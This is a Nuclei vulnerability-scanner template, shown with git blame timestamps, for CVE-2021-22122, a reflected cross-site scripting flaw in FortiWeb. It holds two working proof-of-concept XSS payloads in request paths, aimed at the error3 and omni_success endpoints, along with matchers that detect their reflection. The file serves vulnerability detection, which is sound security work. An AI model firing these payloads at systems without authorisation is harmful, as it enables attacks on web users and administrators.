nuclei-templates/http/cves/2021/CVE-2021-22122.yaml

46 lines
1.7 KiB
YAML
Raw Normal View History

2021-02-04 13:33:19 +00:00
id: CVE-2021-22122
info:
name: FortiWeb - Cross-Site Scripting
2021-02-04 13:33:19 +00:00
author: dwisiswant0
2021-02-04 14:13:13 +00:00
severity: medium
description: |
FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest security patches or updates provided by Fortinet to fix the XSS vulnerability in FortiWeb.
reference:
2021-03-24 06:48:11 +00:00
- https://www.fortiguard.com/psirt/FG-IR-20-122
- https://twitter.com/ptswarm/status/1357316793753362433
- https://fortiguard.com/advisory/FG-IR-20-122
- https://nvd.nist.gov/vuln/detail/CVE-2021-22122
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-22122
cwe-id: CWE-79
2023-10-14 11:27:55 +00:00
epss-score: 0.00572
epss-percentile: 0.75386
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: fortinet
product: fortiweb
tags: cve,cve2021,fortiweb,xss
2021-02-04 13:33:19 +00:00
http:
2021-02-04 13:33:19 +00:00
- method: GET
path:
2023-07-20 07:43:09 +00:00
- "{{BaseURL}}/error3?msg=30&data=';alert('document.domain');//"
- "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('document.domain');//"
2023-07-11 19:49:27 +00:00
2021-02-04 13:33:19 +00:00
matchers-condition: and
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: body
2021-02-04 13:33:19 +00:00
words:
2023-07-20 07:43:09 +00:00
- "alert('document.domain')"
2021-02-04 13:33:19 +00:00
- "No policy has been chosen."
condition: and
# digest: 490a0046304402203eb0b17dd7cc595c5432ff04f78af102edd888cf9b6481e34229e4e02e0b19340220257b0eb93ba4f50b4b4f05424d5a0c560084e620c8d6041720367d1a2751e918:922c64590222798bb761d5b6d8e72950